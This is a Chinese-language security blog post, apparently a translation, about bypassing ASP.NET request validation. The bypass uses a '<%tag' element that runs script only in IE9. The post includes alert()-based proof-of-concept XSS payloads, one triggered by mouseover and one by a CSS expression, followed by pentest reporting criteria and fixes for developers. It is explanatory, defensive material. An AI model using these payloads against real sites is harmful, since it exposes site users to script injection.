ASP.NET请求验证绕过漏洞解析

本文深入分析了ASP.NET请求验证机制存在的安全缺陷,详细演示了如何利用<%tag在IE9中绕过验证实现XSS攻击,并探讨了该漏洞在实际渗透测试中的报告价值及开发者的应对策略。

ASP.NET请求验证绕过

2017年10月14日

…以及为什么你应该报告这个漏洞(也许)。

本文讨论的是.NET请求验证漏洞,如微软文档所述。虽然这不是新问题,但我在2017年仍发现许多.NET网站存在此问题。

请求验证机制剖析

请求验证是ASP.NET的输入过滤器,旨在防范XSS攻击。但微软官方声明该机制并不安全:

即使启用了请求验证,在显示用户输入内容前仍应进行HTML编码

这种设计存在逻辑矛盾:既然提供了XSS防护功能,为何还需要开发者手动编码?

技术缺陷实例

.NET控件默认不会自动HTML编码输出。例如以下代码会直接输出未编码内容:

1
2
3
4
5
<asp:Repeater ID="Repeater2" runat="server">
  <ItemTemplate>
    <%# Eval("YourField") %>
  </ItemTemplate>
</asp:Repeater>

.NET 4引入的<%:语法实现了自动编码,但本应从一开始就内置此功能。

漏洞利用细节

正常情况下,请求验证会拦截包含HTML标签的请求,例如example.com/?foo=<b>会触发"A potentially dangerous Request.QueryString"错误。

但特殊标签<%tag可绕过验证,该标签仅在IE9中生效(需要标准模式或quirks模式)。攻击示例:

1
2
3
4
5
6
7
8
9
<!doctype html>
<html>
<head>
	<meta http-equiv="X-UA-Compatible" content="IE=Edge">
</head>
<body>
	<%tag onmouseover="alert('markitzeroday.com')">鼠标移至此触发
</body>
</html>

quirks模式下可利用CSS向量实现无交互触发:

1
2
3
4
5
6
<html>
<head></head>
<body>
	<%tag style="xss:expression(alert('markitzeroday.com'))">无需交互即可触发
</body>
</html>

渗透测试建议

当满足以下条件时应报告该漏洞:

  1. 能在IE9中证明JS执行(存储型/反射型)
  2. 企业环境因兼容性锁定IE9版本
  3. 证明应用缺乏输出编码机制

开发者修复方案

微软的根本错误在于将XSS视为输入问题而非输出问题。正确做法应包括:

  1. 禁用请求验证
  2. 全面实施HTML输出编码
  3. 避免直接输出到JS上下文
  4. 通过服务端验证限制非字母数字字符输入

请求验证还会导致功能异常,例如触发HTTP 500错误。更合理的做法是提供友好的客户端验证提示。

特别警示:自动化流程中若包含特殊字符可能导致意外中断

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计